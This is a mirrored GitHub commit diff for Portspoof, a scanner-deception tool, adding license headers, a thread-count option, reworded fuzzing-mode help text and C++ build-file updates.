mirror of
https://github.com/drk1wi/portspoof.git
synced 2024-07-01 03:01:43 +00:00
ok
This commit is contained in:
parent
bd1f2c2b35
commit
ffecb5aef4
@ -1,3 +1,40 @@
|
|||||||
|
/*
|
||||||
|
* Portspoof - Service Signature Emulator / Offesnsive Defense Exploitation Framework
|
||||||
|
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation; either version 2 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||||
|
*
|
||||||
|
* Linking portspoof statically or dynamically with other modules is making
|
||||||
|
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||||
|
* the GNU General Public License cover the whole combination.
|
||||||
|
*
|
||||||
|
* In addition, as a special exception, the copyright holder of Portspoof
|
||||||
|
* gives you permission to combine Portspoof with free software programs or
|
||||||
|
* libraries that are released under the GNU LGPL. You may copy
|
||||||
|
* and distribute such a system following the terms of the GNU GPL for
|
||||||
|
* Portspoof and the licenses of the other code concerned.
|
||||||
|
*
|
||||||
|
* Note that people who make modified versions of Portspoof are not obligated
|
||||||
|
* to grant this special exception for their modified versions; it is their
|
||||||
|
* choice whether to do so. The GNU General Public License gives permission
|
||||||
|
* to release a modified version without this exception; this exception
|
||||||
|
* also makes it possible to release a modified version which carries
|
||||||
|
* forward this exception.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#include "Configuration.h"
|
#include "Configuration.h"
|
||||||
|
|
||||||
Configuration::Configuration()
|
Configuration::Configuration()
|
||||||
@ -10,6 +47,7 @@ Configuration::Configuration()
|
|||||||
opts=0;
|
opts=0;
|
||||||
nmapfuzzsignatures_file = std::string(NMAP_FUZZ_FILE_SIG);
|
nmapfuzzsignatures_file = std::string(NMAP_FUZZ_FILE_SIG);
|
||||||
fuzzpayload_file = std::string(FUZZ_FILE_PAYLOAD);
|
fuzzpayload_file = std::string(FUZZ_FILE_PAYLOAD);
|
||||||
|
thread_number=MAX_THREADS;
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@ -22,17 +60,19 @@ bool Configuration::getConfigValue(int value)
|
|||||||
void Configuration::usage(void)
|
void Configuration::usage(void)
|
||||||
{
|
{
|
||||||
fprintf(stdout,"Usage: portspoof [OPTION]...\n"
|
fprintf(stdout,"Usage: portspoof [OPTION]...\n"
|
||||||
"Portspoof - service signature obfuscator.\n\n"
|
"Portspoof - service signature emulator / exploitation framework.\n\n"
|
||||||
"-i bind to a user defined IP address\n"
|
"-i Bind to a particular IP address\n"
|
||||||
"-p bind to a user defined PORT number\n"
|
"-p Bind to a particular PORT number\n"
|
||||||
"-s custom signture file\n"
|
"-s Service signture regex. file\n"
|
||||||
"-c configuration file\n"
|
"-c Portspoof configuration file\n"
|
||||||
"-l log port scanning alerts to a file\n"
|
"-l Log port scanning alerts to a file\n"
|
||||||
"-d disable syslog\n"
|
"-d Disable syslog\n"
|
||||||
"-v be verbose\n"
|
"-v Be verbose\n"
|
||||||
"-f read fuzz payload list\n"
|
"-f FUZZER_MODE: fuzzing payload file list \n"
|
||||||
"-1 generate fuzzing payloads\n"
|
"-n FUZZER_MODE: wrapping signatures file list\n"
|
||||||
"-n nmap wrap fuzz signatures\n"
|
"-1 FUZZER_MODE: generate fuzzing payloads internally\n"
|
||||||
|
"-3 FUZZER_MODE: Random int fuzzing!\n"
|
||||||
|
"-2 switch to simple reply mode (works for anything apart from Nmap)!\n"
|
||||||
"-h display this help and exit\n\n"
|
"-h display this help and exit\n\n"
|
||||||
"Without any OPTION - use default values and continue\n");
|
"Without any OPTION - use default values and continue\n");
|
||||||
|
|
||||||
@ -62,7 +102,7 @@ bool Configuration::processArgs(int argc, char** argv)
|
|||||||
case 'c':
|
case 'c':
|
||||||
this->configfile = std::string(optarg);
|
this->configfile = std::string(optarg);
|
||||||
this->opts[OPT_CONFIG_FILE]=1;
|
this->opts[OPT_CONFIG_FILE]=1;
|
||||||
|
fprintf(stdout,"-> Using user defined regex. signature file %s\n",this->configfile.c_str());
|
||||||
break;
|
break;
|
||||||
case 'v':
|
case 'v':
|
||||||
this->opts[OPT_DEBUG]=1;
|
this->opts[OPT_DEBUG]=1;
|
||||||
@ -76,20 +116,24 @@ bool Configuration::processArgs(int argc, char** argv)
|
|||||||
this->opts[OPT_LOG_FILE]=1;
|
this->opts[OPT_LOG_FILE]=1;
|
||||||
this->logfile = std::string(optarg);
|
this->logfile = std::string(optarg);
|
||||||
fprintf(stdout,"-> Using log file %s\n",this->logfile.c_str());
|
fprintf(stdout,"-> Using log file %s\n",this->logfile.c_str());
|
||||||
|
|
||||||
|
//check log file
|
||||||
|
Utils::log_create(configuration->getLogFile().c_str());
|
||||||
|
|
||||||
break;
|
break;
|
||||||
case 'f':
|
case 'f':
|
||||||
this->opts[OPT_FUZZ_WORDLIST]=1;
|
this->opts[OPT_FUZZ_WORDLIST]=1;
|
||||||
this->fuzzpayload_file=std::string(optarg);
|
this->fuzzpayload_file=std::string(optarg);
|
||||||
fprintf(stdout,"-> Reading fuzzing payloads from a file!\n");
|
fprintf(stdout,"-> Reading fuzzing payloads from a file %s!\n",this->fuzzpayload_file.c_str());
|
||||||
break;
|
break;
|
||||||
case 'n':
|
case 'n':
|
||||||
this->opts[OPT_FUZZ_NMAP]=1;
|
this->opts[OPT_FUZZ_NMAP]=1;
|
||||||
this->nmapfuzzsignatures_file=std::string(optarg);
|
this->nmapfuzzsignatures_file=std::string(optarg);
|
||||||
fprintf(stdout,"-> NMAP wrapper mode!\n");
|
fprintf(stdout,"-> Payload wrapping mode!\n");
|
||||||
break;
|
break;
|
||||||
case '1':
|
case '1':
|
||||||
this->opts[OPT_FUZZ_INTERNAL]=1;
|
this->opts[OPT_FUZZ_INTERNAL]=1;
|
||||||
fprintf(stdout,"-> Generate fuzzing payloads!\n");
|
fprintf(stdout,"-> Generate fuzzing payloads internally!\n");
|
||||||
break;
|
break;
|
||||||
case '2':
|
case '2':
|
||||||
this->opts[OPT_NOT_NMAP_SCANNER]=1;
|
this->opts[OPT_NOT_NMAP_SCANNER]=1;
|
||||||
@ -116,8 +160,10 @@ bool Configuration::processArgs(int argc, char** argv)
|
|||||||
}
|
}
|
||||||
|
|
||||||
if(this->getConfigValue(OPT_FUZZ_NMAP) ||this->getConfigValue(OPT_FUZZ_WORDLIST) || this->getConfigValue(OPT_FUZZ_INTERNAL))
|
if(this->getConfigValue(OPT_FUZZ_NMAP) ||this->getConfigValue(OPT_FUZZ_WORDLIST) || this->getConfigValue(OPT_FUZZ_INTERNAL))
|
||||||
|
{
|
||||||
this->fuzzer=new Fuzzer(this);
|
this->fuzzer=new Fuzzer(this);
|
||||||
|
this->thread_number=1;
|
||||||
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@ -155,22 +201,16 @@ unsigned short int Configuration::getPort()
|
|||||||
return this->port;
|
return this->port;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int Configuration::getThreadNr()
|
||||||
|
{
|
||||||
|
|
||||||
|
return this->thread_number;
|
||||||
|
}
|
||||||
|
|
||||||
std::vector<char> Configuration::mapPort2Signature(unsigned short port)
|
std::vector<char> Configuration::mapPort2Signature(unsigned short port)
|
||||||
{
|
{
|
||||||
/*
|
|
||||||
if(this->opts&OPT_FUZZ_WORDLIST
|
|
||||||
{
|
|
||||||
|
|
||||||
std::string input_line;
|
|
||||||
std::getline(std::cin, input_line);
|
|
||||||
std::vector<char> result_vector;
|
|
||||||
|
|
||||||
for(int i=0; i<input_line.length();i++)
|
|
||||||
result_vector.push_back(input_line[i]);
|
|
||||||
return result_vector;
|
|
||||||
|
|
||||||
}
|
|
||||||
*/
|
|
||||||
if(this->opts[OPT_FUZZ_NMAP] || this->opts[OPT_FUZZ_INTERNAL] || this->opts[OPT_FUZZ_WORDLIST])
|
if(this->opts[OPT_FUZZ_NMAP] || this->opts[OPT_FUZZ_INTERNAL] || this->opts[OPT_FUZZ_WORDLIST])
|
||||||
{
|
{
|
||||||
std::vector<char> result_vector;
|
std::vector<char> result_vector;
|
||||||
@ -198,11 +238,11 @@ bool Configuration::processSignatureFile()
|
|||||||
fclose(fp);
|
fclose(fp);
|
||||||
|
|
||||||
// set random mapping
|
// set random mapping
|
||||||
//srand((unsigned)time(0));
|
srand((unsigned)time(0));
|
||||||
for(int i=0;i<MAX_PORTS;i++)
|
for(int i=0;i<MAX_PORTS;i++)
|
||||||
{
|
{
|
||||||
//portsignatureemap.insert(make_pair(i,process_signature(rawsignatures[rand()%rawsignatures.size()])));
|
portsignatureemap.insert(make_pair(i,process_signature(rawsignatures[rand()%rawsignatures.size()])));
|
||||||
portsignatureemap.insert(make_pair(i,process_signature(rawsignatures[i%rawsignatures.size()])));
|
//portsignatureemap.insert(make_pair(i,process_signature(rawsignatures[i%rawsignatures.size()])));
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,3 +1,40 @@
|
|||||||
|
/*
|
||||||
|
* PPortspoof - Service Signature Emulator / Offesnsive Defense Exploitation Framework
|
||||||
|
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation; either version 2 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||||
|
*
|
||||||
|
* Linking portspoof statically or dynamically with other modules is making
|
||||||
|
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||||
|
* the GNU General Public License cover the whole combination.
|
||||||
|
*
|
||||||
|
* In addition, as a special exception, the copyright holder of Portspoof
|
||||||
|
* gives you permission to combine Portspoof with free software programs or
|
||||||
|
* libraries that are released under the GNU LGPL. You may copy
|
||||||
|
* and distribute such a system following the terms of the GNU GPL for
|
||||||
|
* Portspoof and the licenses of the other code concerned.
|
||||||
|
*
|
||||||
|
* Note that people who make modified versions of Portspoof are not obligated
|
||||||
|
* to grant this special exception for their modified versions; it is their
|
||||||
|
* choice whether to do so. The GNU General Public License gives permission
|
||||||
|
* to release a modified version without this exception; this exception
|
||||||
|
* also makes it possible to release a modified version which carries
|
||||||
|
* forward this exception.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#ifndef CONFIG_H
|
#ifndef CONFIG_H
|
||||||
#define CONFIG_H
|
#define CONFIG_H
|
||||||
|
|
||||||
@ -23,8 +60,6 @@
|
|||||||
|
|
||||||
#define MAX_PORTS 65535
|
#define MAX_PORTS 65535
|
||||||
|
|
||||||
#define NMAP_FUZZ_FILE_SIG "nmapfuzzsignatures"
|
|
||||||
#define FUZZ_FILE_PAYLOAD "nmapfuzzpayloads"
|
|
||||||
|
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
@ -39,10 +74,13 @@
|
|||||||
#include <ctime>
|
#include <ctime>
|
||||||
#include <bitset>
|
#include <bitset>
|
||||||
|
|
||||||
#include "revregex.h"
|
|
||||||
#include "connection.h"
|
|
||||||
|
|
||||||
#include "Utils.h"
|
#include "Utils.h"
|
||||||
|
#include "Threads.h"
|
||||||
|
|
||||||
|
|
||||||
|
#include "revregex.h"
|
||||||
|
#include "connection.h"
|
||||||
|
|
||||||
using namespace std;
|
using namespace std;
|
||||||
|
|
||||||
@ -62,6 +100,7 @@ class Configuration {
|
|||||||
std::string logfile;
|
std::string logfile;
|
||||||
std::string bind_ip;
|
std::string bind_ip;
|
||||||
unsigned short int port;
|
unsigned short int port;
|
||||||
|
int thread_number;
|
||||||
bitset<20> opts;
|
bitset<20> opts;
|
||||||
Fuzzer* fuzzer;
|
Fuzzer* fuzzer;
|
||||||
std::string nmapfuzzsignatures_file;
|
std::string nmapfuzzsignatures_file;
|
||||||
@ -87,6 +126,7 @@ class Configuration {
|
|||||||
std::string getFuzzPayloadFile();
|
std::string getFuzzPayloadFile();
|
||||||
bool getConfigValue(int value);
|
bool getConfigValue(int value);
|
||||||
unsigned short int getPort();
|
unsigned short int getPort();
|
||||||
|
int getThreadNr();
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@ -1,3 +1,39 @@
|
|||||||
|
/*
|
||||||
|
* Portspoof - Service Signature Emulator
|
||||||
|
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation; either version 2 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||||
|
*
|
||||||
|
* Linking portspoof statically or dynamically with other modules is making
|
||||||
|
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||||
|
* the GNU General Public License cover the whole combination.
|
||||||
|
*
|
||||||
|
* In addition, as a special exception, the copyright holder of Portspoof
|
||||||
|
* gives you permission to combine Portspoof with free software programs or
|
||||||
|
* libraries that are released under the GNU LGPL. You may copy
|
||||||
|
* and distribute such a system following the terms of the GNU GPL for
|
||||||
|
* Portspoof and the licenses of the other code concerned.
|
||||||
|
*
|
||||||
|
* Note that people who make modified versions of Portspoof are not obligated
|
||||||
|
* to grant this special exception for their modified versions; it is their
|
||||||
|
* choice whether to do so. The GNU General Public License gives permission
|
||||||
|
* to release a modified version without this exception; this exception
|
||||||
|
* also makes it possible to release a modified version which carries
|
||||||
|
* forward this exception.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
#include "Fuzzer.h"
|
#include "Fuzzer.h"
|
||||||
|
|
||||||
Fuzzer::Fuzzer()
|
Fuzzer::Fuzzer()
|
||||||
@ -79,21 +115,16 @@ std::vector<char> Fuzzer::GenerateFuzzPayload()
|
|||||||
std::vector<char> result_vector;
|
std::vector<char> result_vector;
|
||||||
std::string str;
|
std::string str;
|
||||||
|
|
||||||
/*
|
|
||||||
for(int i=0;i<255;i++)
|
|
||||||
result_vector.push_back(i);
|
|
||||||
|
|
||||||
return result_vector;
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
if(this->configuration->getConfigValue(OPT_FUZZ_RANDOM))
|
if(this->configuration->getConfigValue(OPT_FUZZ_RANDOM))
|
||||||
{
|
{
|
||||||
this->payload_counter++;
|
|
||||||
return this->shortToBytes((unsigned short)this->payload_counter);
|
for(int i=0;i<255;i++)
|
||||||
|
result_vector.push_back(i);
|
||||||
|
return result_vector;
|
||||||
|
|
||||||
}
|
}
|
||||||
*/
|
|
||||||
|
|
||||||
if(this->payload_counter<10)
|
if(this->payload_counter<10)
|
||||||
{
|
{
|
||||||
@ -169,14 +200,3 @@ std::vector<char> Fuzzer::GetFUZZ()
|
|||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/*
|
|
||||||
std::string input_line;
|
|
||||||
std::getline(std::cin, input_line);
|
|
||||||
|
|
||||||
|
|
||||||
for(int i=0; i<input_line.length();i++)
|
|
||||||
result_vector.push_back(input_line[i]);
|
|
||||||
return result_vector;
|
|
||||||
*/
|
|
39
src/Fuzzer.h
39
src/Fuzzer.h
@ -1,3 +1,40 @@
|
|||||||
|
/*
|
||||||
|
* Portspoof - Service Signature Emulator
|
||||||
|
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation; either version 2 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||||
|
*
|
||||||
|
* Linking portspoof statically or dynamically with other modules is making
|
||||||
|
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||||
|
* the GNU General Public License cover the whole combination.
|
||||||
|
*
|
||||||
|
* In addition, as a special exception, the copyright holder of Portspoof
|
||||||
|
* gives you permission to combine Portspoof with free software programs or
|
||||||
|
* libraries that are released under the GNU LGPL. You may copy
|
||||||
|
* and distribute such a system following the terms of the GNU GPL for
|
||||||
|
* Portspoof and the licenses of the other code concerned.
|
||||||
|
*
|
||||||
|
* Note that people who make modified versions of Portspoof are not obligated
|
||||||
|
* to grant this special exception for their modified versions; it is their
|
||||||
|
* choice whether to do so. The GNU General Public License gives permission
|
||||||
|
* to release a modified version without this exception; this exception
|
||||||
|
* also makes it possible to release a modified version which carries
|
||||||
|
* forward this exception.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#ifndef FUZZER_H
|
#ifndef FUZZER_H
|
||||||
#define FUZZER_H
|
#define FUZZER_H
|
||||||
|
|
||||||
@ -24,6 +61,8 @@
|
|||||||
|
|
||||||
using namespace std;
|
using namespace std;
|
||||||
|
|
||||||
|
#define NMAP_FUZZ_FILE_SIG "nmapfuzzsignatures"
|
||||||
|
#define FUZZ_FILE_PAYLOAD "nmapfuzzpayloads"
|
||||||
|
|
||||||
static const char* const fuzz_oracle[]=
|
static const char* const fuzz_oracle[]=
|
||||||
{
|
{
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
## Process this file with automake to produce Makefile.in
|
## Process this file with automake to produce Makefile.in
|
||||||
|
|
||||||
# File lists
|
# File lists
|
||||||
headers = connection.h portspoof.h revregex.h threads.h log.h config_file.h
|
headers = config.h Configuration.h connection.h Fuzzer.h Server.h revregex.h Threads.h Utils.h
|
||||||
sources = connection.c portspoof.c revregex.c log.c config_file.c
|
sources = Configuration.cpp connection.cpp Fuzzer.cpp Portspoof.cpp Server.cpp revregex.cpp Utils.cpp
|
||||||
|
|
||||||
# Unix executables
|
# Unix executables
|
||||||
bin_PROGRAMS = portspoof
|
bin_PROGRAMS = portspoof
|
||||||
|
336
src/Makefile.in
336
src/Makefile.in
@ -1,8 +1,9 @@
|
|||||||
# Makefile.in generated by automake 1.10 from Makefile.am.
|
# Makefile.in generated by automake 1.11.1 from Makefile.am.
|
||||||
# @configure_input@
|
# @configure_input@
|
||||||
|
|
||||||
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
|
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
|
||||||
# 2003, 2004, 2005, 2006 Free Software Foundation, Inc.
|
# 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation,
|
||||||
|
# Inc.
|
||||||
# This Makefile.in is free software; the Free Software Foundation
|
# This Makefile.in is free software; the Free Software Foundation
|
||||||
# gives unlimited permission to copy and/or distribute it,
|
# gives unlimited permission to copy and/or distribute it,
|
||||||
# with or without modifications, as long as this notice is preserved.
|
# with or without modifications, as long as this notice is preserved.
|
||||||
@ -16,8 +17,9 @@
|
|||||||
|
|
||||||
VPATH = @srcdir@
|
VPATH = @srcdir@
|
||||||
pkgdatadir = $(datadir)/@PACKAGE@
|
pkgdatadir = $(datadir)/@PACKAGE@
|
||||||
pkglibdir = $(libdir)/@PACKAGE@
|
|
||||||
pkgincludedir = $(includedir)/@PACKAGE@
|
pkgincludedir = $(includedir)/@PACKAGE@
|
||||||
|
pkglibdir = $(libdir)/@PACKAGE@
|
||||||
|
pkglibexecdir = $(libexecdir)/@PACKAGE@
|
||||||
am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
|
am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
|
||||||
install_sh_DATA = $(install_sh) -c -m 644
|
install_sh_DATA = $(install_sh) -c -m 644
|
||||||
install_sh_PROGRAM = $(install_sh) -c
|
install_sh_PROGRAM = $(install_sh) -c
|
||||||
@ -43,21 +45,28 @@ am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
|
|||||||
mkinstalldirs = $(install_sh) -d
|
mkinstalldirs = $(install_sh) -d
|
||||||
CONFIG_HEADER = config.h
|
CONFIG_HEADER = config.h
|
||||||
CONFIG_CLEAN_FILES =
|
CONFIG_CLEAN_FILES =
|
||||||
|
CONFIG_CLEAN_VPATH_FILES =
|
||||||
am__installdirs = "$(DESTDIR)$(bindir)"
|
am__installdirs = "$(DESTDIR)$(bindir)"
|
||||||
binPROGRAMS_INSTALL = $(INSTALL_PROGRAM)
|
|
||||||
PROGRAMS = $(bin_PROGRAMS)
|
PROGRAMS = $(bin_PROGRAMS)
|
||||||
am__objects_1 =
|
am__objects_1 =
|
||||||
am__objects_2 = portspoof-connection.$(OBJEXT) \
|
am__objects_2 = portspoof-Configuration.$(OBJEXT) \
|
||||||
portspoof-portspoof.$(OBJEXT) portspoof-revregex.$(OBJEXT) \
|
portspoof-connection.$(OBJEXT) portspoof-Fuzzer.$(OBJEXT) \
|
||||||
portspoof-log.$(OBJEXT) portspoof-config_file.$(OBJEXT)
|
portspoof-log.$(OBJEXT) portspoof-portspoof.$(OBJEXT) \
|
||||||
|
portspoof-revregex.$(OBJEXT) portspoof-Utils.$(OBJEXT)
|
||||||
am_portspoof_OBJECTS = $(am__objects_1) $(am__objects_2)
|
am_portspoof_OBJECTS = $(am__objects_1) $(am__objects_2)
|
||||||
portspoof_OBJECTS = $(am_portspoof_OBJECTS)
|
portspoof_OBJECTS = $(am_portspoof_OBJECTS)
|
||||||
portspoof_LDADD = $(LDADD)
|
portspoof_LDADD = $(LDADD)
|
||||||
portspoof_LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(portspoof_LDFLAGS) \
|
portspoof_LINK = $(CXXLD) $(AM_CXXFLAGS) $(CXXFLAGS) \
|
||||||
$(LDFLAGS) -o $@
|
$(portspoof_LDFLAGS) $(LDFLAGS) -o $@
|
||||||
DEFAULT_INCLUDES = -I.@am__isrc@
|
DEFAULT_INCLUDES = -I.@am__isrc@
|
||||||
depcomp = $(SHELL) $(top_srcdir)/auto/depcomp
|
depcomp = $(SHELL) $(top_srcdir)/auto/depcomp
|
||||||
am__depfiles_maybe = depfiles
|
am__depfiles_maybe = depfiles
|
||||||
|
am__mv = mv -f
|
||||||
|
CXXCOMPILE = $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) \
|
||||||
|
$(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS)
|
||||||
|
CXXLD = $(CXX)
|
||||||
|
CXXLINK = $(CXXLD) $(AM_CXXFLAGS) $(CXXFLAGS) $(AM_LDFLAGS) $(LDFLAGS) \
|
||||||
|
-o $@
|
||||||
COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
|
COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
|
||||||
$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
|
$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
|
||||||
CCLD = $(CC)
|
CCLD = $(CC)
|
||||||
@ -78,6 +87,9 @@ CCDEPMODE = @CCDEPMODE@
|
|||||||
CFLAGS = @CFLAGS@
|
CFLAGS = @CFLAGS@
|
||||||
CPP = @CPP@
|
CPP = @CPP@
|
||||||
CPPFLAGS = @CPPFLAGS@
|
CPPFLAGS = @CPPFLAGS@
|
||||||
|
CXX = @CXX@
|
||||||
|
CXXDEPMODE = @CXXDEPMODE@
|
||||||
|
CXXFLAGS = @CXXFLAGS@
|
||||||
CYGPATH_W = @CYGPATH_W@
|
CYGPATH_W = @CYGPATH_W@
|
||||||
DEFS = @DEFS@
|
DEFS = @DEFS@
|
||||||
DEPDIR = @DEPDIR@
|
DEPDIR = @DEPDIR@
|
||||||
@ -104,6 +116,7 @@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
|
|||||||
PACKAGE_NAME = @PACKAGE_NAME@
|
PACKAGE_NAME = @PACKAGE_NAME@
|
||||||
PACKAGE_STRING = @PACKAGE_STRING@
|
PACKAGE_STRING = @PACKAGE_STRING@
|
||||||
PACKAGE_TARNAME = @PACKAGE_TARNAME@
|
PACKAGE_TARNAME = @PACKAGE_TARNAME@
|
||||||
|
PACKAGE_URL = @PACKAGE_URL@
|
||||||
PACKAGE_VERSION = @PACKAGE_VERSION@
|
PACKAGE_VERSION = @PACKAGE_VERSION@
|
||||||
PATH_SEPARATOR = @PATH_SEPARATOR@
|
PATH_SEPARATOR = @PATH_SEPARATOR@
|
||||||
SET_MAKE = @SET_MAKE@
|
SET_MAKE = @SET_MAKE@
|
||||||
@ -115,6 +128,7 @@ abs_srcdir = @abs_srcdir@
|
|||||||
abs_top_builddir = @abs_top_builddir@
|
abs_top_builddir = @abs_top_builddir@
|
||||||
abs_top_srcdir = @abs_top_srcdir@
|
abs_top_srcdir = @abs_top_srcdir@
|
||||||
ac_ct_CC = @ac_ct_CC@
|
ac_ct_CC = @ac_ct_CC@
|
||||||
|
ac_ct_CXX = @ac_ct_CXX@
|
||||||
am__include = @am__include@
|
am__include = @am__include@
|
||||||
am__leading_dot = @am__leading_dot@
|
am__leading_dot = @am__leading_dot@
|
||||||
am__quote = @am__quote@
|
am__quote = @am__quote@
|
||||||
@ -157,12 +171,13 @@ sharedstatedir = @sharedstatedir@
|
|||||||
srcdir = @srcdir@
|
srcdir = @srcdir@
|
||||||
sysconfdir = @sysconfdir@
|
sysconfdir = @sysconfdir@
|
||||||
target_alias = @target_alias@
|
target_alias = @target_alias@
|
||||||
|
top_build_prefix = @top_build_prefix@
|
||||||
top_builddir = @top_builddir@
|
top_builddir = @top_builddir@
|
||||||
top_srcdir = @top_srcdir@
|
top_srcdir = @top_srcdir@
|
||||||
|
|
||||||
# File lists
|
# File lists
|
||||||
headers = connection.h portspoof.h revregex.h threads.h log.h config_file.h
|
headers = config_file.h config.h Configuration.h connection.h Fuzzer.h log.h portspoof.h revregex.h Threads.h Utils.h
|
||||||
sources = connection.c portspoof.c revregex.c log.c config_file.c
|
sources = Configuration.cpp connection.cpp Fuzzer.cpp log.cpp portspoof.cpp revregex.cpp Utils.cpp
|
||||||
portspoof_SOURCES = $(headers) $(sources)
|
portspoof_SOURCES = $(headers) $(sources)
|
||||||
|
|
||||||
# Threads
|
# Threads
|
||||||
@ -174,19 +189,19 @@ all: config.h
|
|||||||
$(MAKE) $(AM_MAKEFLAGS) all-am
|
$(MAKE) $(AM_MAKEFLAGS) all-am
|
||||||
|
|
||||||
.SUFFIXES:
|
.SUFFIXES:
|
||||||
.SUFFIXES: .c .o .obj
|
.SUFFIXES: .cpp .o .obj
|
||||||
$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps)
|
$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps)
|
||||||
@for dep in $?; do \
|
@for dep in $?; do \
|
||||||
case '$(am__configure_deps)' in \
|
case '$(am__configure_deps)' in \
|
||||||
*$$dep*) \
|
*$$dep*) \
|
||||||
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
|
( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \
|
||||||
&& exit 0; \
|
&& { if test -f $@; then exit 0; else break; fi; }; \
|
||||||
exit 1;; \
|
exit 1;; \
|
||||||
esac; \
|
esac; \
|
||||||
done; \
|
done; \
|
||||||
echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/Makefile'; \
|
echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/Makefile'; \
|
||||||
cd $(top_srcdir) && \
|
$(am__cd) $(top_srcdir) && \
|
||||||
$(AUTOMAKE) --gnu src/Makefile
|
$(AUTOMAKE) --gnu src/Makefile
|
||||||
.PRECIOUS: Makefile
|
.PRECIOUS: Makefile
|
||||||
Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
|
Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
|
||||||
@case '$?' in \
|
@case '$?' in \
|
||||||
@ -204,6 +219,7 @@ $(top_srcdir)/configure: $(am__configure_deps)
|
|||||||
